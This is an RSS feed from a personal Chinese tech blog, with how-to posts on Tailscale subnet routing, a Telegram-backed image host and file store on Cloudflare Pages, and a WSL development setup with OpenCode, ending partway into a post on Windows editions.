<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Ivo&apos;s Inkwell</title><description>Think deeply. Build quietly.</description><link>https://ivoinkwell.xyz/</link><language>zh_CN</language><item><title>使用 Tailscale 替代 OpenVPN</title><link>https://ivoinkwell.xyz/posts/specks/use-tailscale-instead-of-openvpn/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/use-tailscale-instead-of-openvpn/</guid><pubDate>Thu, 13 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;OpenVPN 除了配置非常麻烦，还有一个更难的条件 —— IPv4，毕竟不是所有的地方都有 IPv6，尤其是企业等地方，所以我就想有没有一个可以代替 VPN 但是不使用组网的方式，毕竟每一个设备加入一个虚拟网段不仅麻烦，而且对于虚拟机的性能要求会高很多。&lt;/p&gt;
&lt;h2&gt;Tailscale 安装与部署&lt;/h2&gt;
&lt;p&gt;我将这个选择和 OpenVPN Server 一样作为一个服务器一样部署，但我尝试在 PVE 的 LXC 容器中部署出现了很多问题，所以我选择的是 KVM 容器 + Debian 12 的这个方案进行的安装。&lt;/p&gt;
&lt;p&gt;安装步骤很简单，按照 &lt;strong&gt;&lt;a href=&quot;https://tailscale.com/download/linux&quot;&gt;官网&lt;/a&gt;&lt;/strong&gt; 上下载方法安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -fsSL https://tailscale.com/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tailscale Subnet —— 子网路由&lt;/h2&gt;
&lt;p&gt;首先要开启 IPv4 转发&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;net.ipv4.ip_forward=1&apos; &amp;gt;&amp;gt; /etc/sysctl.conf
sysctl -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开启子网路由，我的网段是 &lt;code&gt;192.168.1.0/24&lt;/code&gt;，替换成自己家里的即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tailscale up --advertise-routes=192.168.1.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后在后台管理勾选这个网段&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/use-tailscale-instead-of-openvpn/use-tailscale-instead-of-openvpn.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后连接上就可以正常访问内网设备&lt;/p&gt;
&lt;h2&gt;网段隔离&lt;/h2&gt;
&lt;p&gt;网段隔离是一个必要的网络防护方案，但是很折腾，也存在着很多的折腾的地方，网段相互访问还要建立 VPN ，常见的就是WireGuard，这个方案我同学在他们家的PVE上是这样使用的，但是对于我来说折腾，所以我就没有进行搭建。&lt;/p&gt;
</content:encoded></item><item><title>Telegram + Cloudflare Pages：搭建博客图床与网盘</title><link>https://ivoinkwell.xyz/posts/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/</guid><pubDate>Tue, 11 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;其实我最开始的目的只有一个，就是找到一个下载不限速，存储不限制容量的一个项目，用处其实不是图床，而是做博客以及文档站的网盘，但是后面发现文件下载速度能跑满家里的百兆带宽，用作图床应该能加快图片加载速度，目前已经把博客和文档站的所有图片全部迁移至图床里面。&lt;/p&gt;
&lt;h2&gt;想法与发现&lt;/h2&gt;
&lt;p&gt;最近发现使用 &lt;code&gt;Cloudflare Pages&lt;/code&gt; 部署自己的博客访问速度会比部署在 &lt;code&gt;GitHub Pages&lt;/code&gt; 上哉使用 Cloudflare 做 CDN 加速要快一些，所以就思考能不能有这样一个项目是部署在 &lt;code&gt;Cloudflare Pages&lt;/code&gt; 上面，连接一个存储并且可以直接提供下载的项目，如果页面能是 Openlist 样式的就更好。但后来看到一个图床项目，除了名字有 ImageHub 之外似乎已经能完全满足我的要求，并且存储也能达到一个完全免费的水平，所以我就开始使用了这个项目，可能唯一的不足就是 Cloudflare 对 Pages 的每天的10万次访问限制，但是对于我这种个人博客也是足够使用了。&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;MarSeventh/CloudFlare-ImgBed&quot;}&lt;/p&gt;
&lt;h2&gt;部署与搭建&lt;/h2&gt;
&lt;h3&gt;Fork 源仓库&lt;/h3&gt;
&lt;p&gt;打开项目地址，首先我们要将这个项目 Fork 一份到我们自己的仓库当中，根据图片中的提示进行操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;部署到自己的 Cloudflare Pages&lt;/h3&gt;
&lt;p&gt;我选择最容易部署的一个方式，你也可以根据其官方文档教程选择自己合适的部署方式，例如：&lt;strong&gt;&lt;a href=&quot;https://cfbed.sanyue.de/deployment/worker.html&quot;&gt;Cloudlfare Works&lt;/a&gt;&lt;/strong&gt; 或者使用 &lt;strong&gt;&lt;a href=&quot;https://cfbed.sanyue.de/deployment/docker.html&quot;&gt;Docker&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;打开自己的 Cloudflare Dashboard，根据图中步骤打开 Pages 部署页面，创建一个应用程序&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建一个 Pages&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我们选择使用刚刚 Fork 的仓库，Cloudflare 需要绑定我们的 GitHub 账号&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择刚刚 Fork 下来的项目，点击开始设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入构建命令以及环境变量&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;构建命令&lt;/code&gt;：&lt;code&gt;npm install&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;构建输出目录&lt;/code&gt;：&lt;code&gt;frontend-dist&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;环境变量&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTH_CODE&lt;/code&gt;：&lt;code&gt;页面一打开输入的访问码&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BASIC_USER&lt;/code&gt;：&lt;code&gt;管理员用户名&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BASIC_PASS&lt;/code&gt;：&lt;code&gt;管理员密码&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击保存并部署之后等待部署完成，这个时候要去创建一个KV空间&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;自行给这个 KV 空间命名即可，回到刚刚创建的 Pages ，将 KV 空间绑定上去&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按照图片中的格式，下方选择刚刚新建的 KV 空间&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;绑定完成后选择重试部署&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;部署完成后点击 Pages 给我们分配的域名，墙内无法打开，需要自己部署自定义域名，在自定义域绑定即可，打开网页&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-10.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置&lt;/h3&gt;
&lt;p&gt;输入刚刚配置的 &lt;code&gt;AUTH_CPDE&lt;/code&gt; 进入，在图片的设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-11.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入刚刚设置的账号与密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-12.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择系统设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-13.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到上传设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-14.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加上传渠道，在一开始部署的时候是什么都没有的，根据图片点击添加&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-15.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 Telegram 之后我们需要看看需要哪些参数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-16.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;渠道名称也就是这个配置的名字，可以随便填写，我们需要获取两个值，&lt;code&gt;Bot Token&lt;/code&gt; 和 &lt;code&gt;Chat ID&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;创建 Telegram Bot 获取 Bot Token&lt;/h4&gt;
&lt;p&gt;打开自己的 Telegram ，网页版，手机版，电脑版随意，搜索并找到 BotFather&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-17.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开聊天界面输入 &lt;code&gt;/&lt;/code&gt; 选择 &lt;code&gt;/newbot&lt;/code&gt; 选项，根据提示输入你的机器人名字以及以 &lt;code&gt;bot&lt;/code&gt; 结尾的专属 ID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-18.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后即可获取自己这个机器人的 Bot Token&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-19.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;创建频道并且将机器人设置为管理员&lt;/h4&gt;
&lt;p&gt;找到新建频道选项&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-20.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;新建一个频道，频道类型都可以，个人做图床或者网盘分享使用，私密频道优先。创建频道之后搜索并将机器人设置为管理员&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-21.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-22.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;搜索一个机器人，用于获取我们这个频道的 Chat ID，搜索这个用户名 &lt;code&gt;@VersaToolsBot&lt;/code&gt;，或者直接点击 &lt;strong&gt;&lt;a href=&quot;https://t.me/VersaToolsBot&quot;&gt;这个链接&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-23.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在频道发送一条消息并且转发给这个机器人，即可获得 Chat ID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-24.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将两个值填入网页中即可完成所有配置&lt;/p&gt;
&lt;h2&gt;上传与测试&lt;/h2&gt;
&lt;p&gt;打开网页并且随便上传一张图片或者文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-25.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;频道中即可看见相对应的上传记录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-26.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;作为网盘的相关思路&lt;/h2&gt;
&lt;p&gt;你说如果作为图床，是否为每篇文章新建目录留存图片其实意义不是很大，因为图床的意义仅仅只是当 GitHub 这些平台限制的单文件大小太小的一个解决办法，如果说这个图床能够比放在博客根目录中的图片加载速度一样其实并不会，我的博客目前已经从 GitHub Pages 转移到 Cloudflare Pages 上，所以一定是在 Cloudflare 的全球 CDN 节点上了，但是图片的加速相比放在博客根目录中的加载速度提升或许有，但是也很有限，可能就是图床能够提供压缩的一个服务，全部压缩成&lt;code&gt;.webp&lt;/code&gt; 格式，也能一定程度上减轻加载的瞬时压力。&lt;/p&gt;
&lt;p&gt;但是作为博客的附件网盘我觉得还是比较适合的，但是这些附件不要非常的大，要不然有可能会触发 Bot 的请求限制，因为大于 20MB 的文件会被切片保存，也就是如果我上传 1G 的文件很有可能能切 40 多片，下载的话就是请求 40 次之后在下载者的电脑上重新组装回去，如果多个人同时下载就有可能触发这样的一个限制。但是相较于使用网盘分享已经能好出不少了。下面我分享一下我的相关使用方法。&lt;/p&gt;
&lt;h3&gt;目录设置&lt;/h3&gt;
&lt;p&gt;就像上图中我截图的这些附件就是我文档站当中的一篇文章，如果附件不分文章放好，后面分享贴直链的时候寻找会非常的麻烦，但是后台文件管理不能创建文件夹以及目录，所以只有在上传前确定好自己的目录，就像下图确定好位置是 &lt;code&gt;/文档站资源/网络安全与数据安全参赛笔记/6.15-数据安全刷题笔记/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-27.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后台管理以及复制的时候才能是这个目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-28.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;挂到 OpenList&lt;/h3&gt;
&lt;p&gt;这个也是我偶然间发现的，我用 OpenList 本来是用来使用它的视频接口和百度网盘搭建自己的飞牛影视库的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-29.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后面偶然发现了这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-30.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是我就创建了一个新的网盘 Pages 挂到上面去，然后用 Cloudflare Tunnel 穿出来，除了网页在我家，实际的下载链接其实还是图床，配置里网页代理打开就要从部署 OpenList 的主机上面走了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service/telegram-and-cloudflare-pages-building-a-blog-image-hosting-and-cloud-storage-service-31.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;挂出来之后就是这样的效果，下载链接依旧是我的图床不会占用家里的带宽，网盘我已经挂在我的首页的链接中，文章内贴出来的也是里面下载文件的直链。&lt;/p&gt;
&lt;h2&gt;图床的作用&lt;/h2&gt;
&lt;p&gt;有了图床可能最大的作用就是分享 Markdown 文件的时候不需要将图片一起打包，可以防止他人误删以及漏打包的情况，我也会把我现在这篇博客的源 Markdown 文件放在网盘当中提供下载查看。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://dl.ivoinkwell.xyz/file/%E5%8D%9A%E5%AE%A2%E8%B5%84%E6%BA%90/%E9%9B%B6%E7%A2%8E%E9%9A%8F%E7%AC%94/Telegram-Cloudflare_Pages-%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2%E5%9B%BE%E5%BA%8A%E4%B8%8E%E7%BD%91%E7%9B%98/index.md&quot;&gt;源文件&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>我的 WSL 开发环境</title><link>https://ivoinkwell.xyz/posts/specks/my-wsl-development-environment/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/my-wsl-development-environment/</guid><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;说起来我自己都不太相信，我有一天会用上WSL，可能有各种各样方面的力量推动……&lt;/p&gt;
&lt;h2&gt;Windows 版本&lt;/h2&gt;
&lt;p&gt;最近一段时间，我从一些特殊版本的 Windows 上回到了正常的商业版本上，虽然不是出厂时候的家庭版，而是专业版，但是像 &lt;strong&gt;&lt;code&gt;远程控制 (RDP) &lt;/code&gt;&lt;/strong&gt; 这样的功能可以回来是否是真正意义上的正版其实已经无所谓了。但是我还是得说，不知道是错觉还是就是事实，专业版的续航是要比 LTSC 这些版本要好一些，主要是在盒盖待机上面。&lt;/p&gt;
&lt;h2&gt;WSL 安装&lt;/h2&gt;
&lt;p&gt;输入命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --install --no-distribution
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就不会默认安装 Ubuntu 这个发行版，我喜欢使用 Debian ，去微软商店下载一个 Debian 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/my-wsl-development-environment/my-wsl-development-environment.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在开始菜单中打开，即可进行用户账户和密码的配置，密码要记住，后面 &lt;code&gt;sudo&lt;/code&gt; 全部都靠这个密码提权。&lt;/p&gt;
&lt;h2&gt;VSCode 连接&lt;/h2&gt;
&lt;p&gt;VSCode 连接需要下载插件。所以需要在 Linux 上面安装下载所需的工具 —— &lt;code&gt;curl&lt;/code&gt; 和 &lt;code&gt;wget&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install curl wget
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在本机 VSCode 中安装 &lt;code&gt;WSL&lt;/code&gt; 插件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/my-wsl-development-environment/my-wsl-development-environment-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同时按下 &lt;code&gt;Ctrl + Shift + P&lt;/code&gt;，如图进行选择&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/my-wsl-development-environment/my-wsl-development-environment-2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择后会自动与 WSL 的 Debian 相连接&lt;/p&gt;
&lt;h2&gt;开发环境的搭建&lt;/h2&gt;
&lt;p&gt;AI 在现在这个时代确实是开发上不可缺少的辅助，但是好用的 agent 都是 CLI 的形式存在，他们虽然都能使用 npm 进行安装，但是我没有办法忍受 Windows 在安装完 Node.js 之后再用 npm 往磁盘写很多的细碎小文件，这个时候一个原生能使用的 Linux 虚拟机就是一个最好的选择。&lt;/p&gt;
&lt;p&gt;对于我来说，AI 的作用也就是一个辅助，但是如果每一次与 AI 沟通还需要自己去找文件，再去问我会觉得很麻烦，一个本地的 Agent 会是一个更好的选择，所以我选择了一个能接入几乎所有模型的 Agent —— OpenCode ，相较于 Zed 自带的 Agent ，我觉得会更好用一些。在 &lt;strong&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1BVrXBUEbR/?spm_id_from=333.1387.list.card_archive.click&quot;&gt;技术爬爬虾的BliBili视频中&lt;/a&gt;&lt;/strong&gt; 也有一个非常好用的插件，但是因为我只使用一个 DeepSeek 的模型就没有必要去使用了。&lt;/p&gt;
&lt;h3&gt;安装 OpenCode&lt;/h3&gt;
&lt;p&gt;打开 &lt;strong&gt;&lt;a href=&quot;https://opencode.ai/zh&quot;&gt;OpenCode 官网&lt;/a&gt;&lt;/strong&gt; 直接复制那个 &lt;code&gt;curl&lt;/code&gt; 的命令粘贴即可自动安装完成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -fsSL https://opencode.ai/install | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;在 VSCode 当中安装插件&lt;/h3&gt;
&lt;p&gt;打开一个连接 WSL 的工作区，并且找到这个插件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/my-wsl-development-environment/my-wsl-development-environment-3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装后便会出现在 WSL 的扩展中，这个时候我们就可以在 VSCode 中使用 OpenCode 了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/my-wsl-development-environment/my-wsl-development-environment-4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;使用 WSL 的一些想法&lt;/h2&gt;
&lt;p&gt;其实我在很久之前非常讨厌的就是嵌套，我要是做开发直接使用 Linux 的发行版就好，在 Windows 里面用 WSL 开发纯有病的一个行为，但是现在我接触与使用的软件越来越多，而很多软件他没有给 Linux 的发行版做适配，就算是做适配的软件厂商，它的适配不仅烂，而且资源占用还比 Windows 的高很多，国内的 Linux 适配就更差了，甚至有的软件你更新都不敢轻易的更新，保不准就有依赖问题出现。&lt;/p&gt;
&lt;p&gt;虽然说兼容性上面差，OpenCode 这样的平台优先给 Linux 和 MacOS 做开发，但是很多小工具还是会优先供给 Windows ，就像我手上一个 Windows 所有版本 ESD 的快速下载器，虽然说 MacOS 可能只有在虚拟机里面安装 Windows 的时候不需要，但是想要某一个版本的时候应该还是很有用的……&lt;/p&gt;
</content:encoded></item><item><title>Windows 版本与开发选择</title><link>https://ivoinkwell.xyz/posts/specks/windows-version-and-develop-selection/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/windows-version-and-develop-selection/</guid><pubDate>Sun, 19 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Windows 的版本有很多，每一个人都会有自己的推荐，甚至推荐相同版本的人他们呢也会根据自己的使用习惯去做不同程度的优化，从我之前的角度上说，一定是系统越简洁，越干净，用的越舒服。从 Linux 折腾到各种 Windows 精简版，再到各种安装后的精简脚本，最后到 LTSC 版本，使用了这么多的 Windows 版本，使用了很多语言的 Windows ，到最后还是选择使用中文的 Window ，版本会根据机器的不同而改变，&lt;strong&gt;笔记本专业版，台式机专业工作站版&lt;/strong&gt; 的这个观点我觉得依然是成立的……&lt;/p&gt;
&lt;h2&gt;版本与精简&lt;/h2&gt;
&lt;p&gt;不同的版本，不同的精简程度，导致的 bug 或呈现出的问题效果都有可能不一样，但是不同的用途也的确可以选择适合的版本与精简脚本来达到目标中的 “最佳性能” 。&lt;/p&gt;
&lt;h3&gt;版本差别&lt;/h3&gt;
